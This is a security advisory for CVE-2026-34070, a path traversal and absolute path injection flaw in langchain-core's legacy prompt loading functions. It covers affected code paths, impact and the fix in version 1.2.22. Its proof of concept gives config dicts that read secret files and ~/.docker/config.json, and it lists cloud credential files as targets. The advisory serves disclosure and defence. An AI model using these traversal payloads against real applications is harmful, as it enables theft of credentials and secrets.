CVE-2026-34070

Summary

Multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or loadpromptfrom_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples).

Note: The affected functions (load_prompt, loadpromptfrom_config, and the .save() method on prompt classes) are undocumented legacy APIs. They are superseded by the dumpd/dumps/load/loads serialization APIs in langchain_core.load, which do not perform filesystem reads and use an allowlist-based security model. As part of this fix, the legacy APIs have been formally deprecated and will be removed in 2.0.0.

Affected component

Package: langchain-core

File: langchain_core/prompts/loading.py

Affected functions: loadtemplate(), loadexamples(), loadfewshotprompt()

Severity

High 

The score reflects the file-extension constraints that limit which files can be read.

Vulnerable code paths

| Config key | Loaded by | Readable extensions |

|---|---|---|

| template_path, suffix_path, prefix_path | loadtemplate() | .txt |

| examples (when string) | loadexamples() | .json, .yaml, .yml |

| examplepromptpath | loadfewshotprompt() | .json, .yaml, .yml |

None of these code paths validated the supplied path against absolute path injection or .. traversal sequences before reading from disk.

Impact

An attacker who controls or influences the prompt configuration dict can read files outside the intended directory:

• .txt files: cloud-mounted secrets (/mnt/secrets/api_key.txt), requirements.txt, internal system prompts
• .json/.yaml files: cloud credentials (~/.docker/config.json, ~/.azure/accessTokens.json), Kubernetes manifests, CI/CD configs, application settings

This is exploitable in applications that accept prompt configs from untrusted sources, including low-code AI builders and API wrappers that expose loadpromptfrom_config().

Proof of concept

from langchain_core.prompts.loading import load_prompt_from_config
## Reads /tmp/secret.txt via absolute path injection
config = {
    "_type": "prompt",
    "template_path": "/tmp/secret.txt",
    "input_variables": [],
}
prompt = load_prompt_from_config(config)
print(prompt.template)  # file contents disclosed
## Reads ../../etc/secret.txt via directory traversal
config = {
    "_type": "prompt",
    "template_path": "../../etc/secret.txt",
    "input_variables": [],
}
prompt = load_prompt_from_config(config)
## Reads arbitrary .json via few-shot examples
config = {
    "_type": "few_shot",
    "examples": "../../../../.docker/config.json",
    "example_prompt": {
        "_type": "prompt",
        "input_variables": ["input", "output"],
        "template": "{input}: {output}",
    },
    "prefix": "",
    "suffix": "{query}",
    "input_variables": ["query"],
}
prompt = load_prompt_from_config(config)

Mitigation

Update langchain-core to >= 1.2.22.

The fix adds path validation that rejects absolute paths and .. traversal sequences by default. An allowdangerouspaths=True keyword argument is available on load_prompt() and loadpromptfrom_config() for trusted inputs.

As described above, these legacy APIs have been formally deprecated. Users should migrate to dumpd/dumps/load/loads from langchain_core.load.

Credit

• jiayuqi7813 reporter
• VladimirEliTokarev reporter
• Rickidevs reporter
• Kenneth Cox (cczine@gmail.com) reporter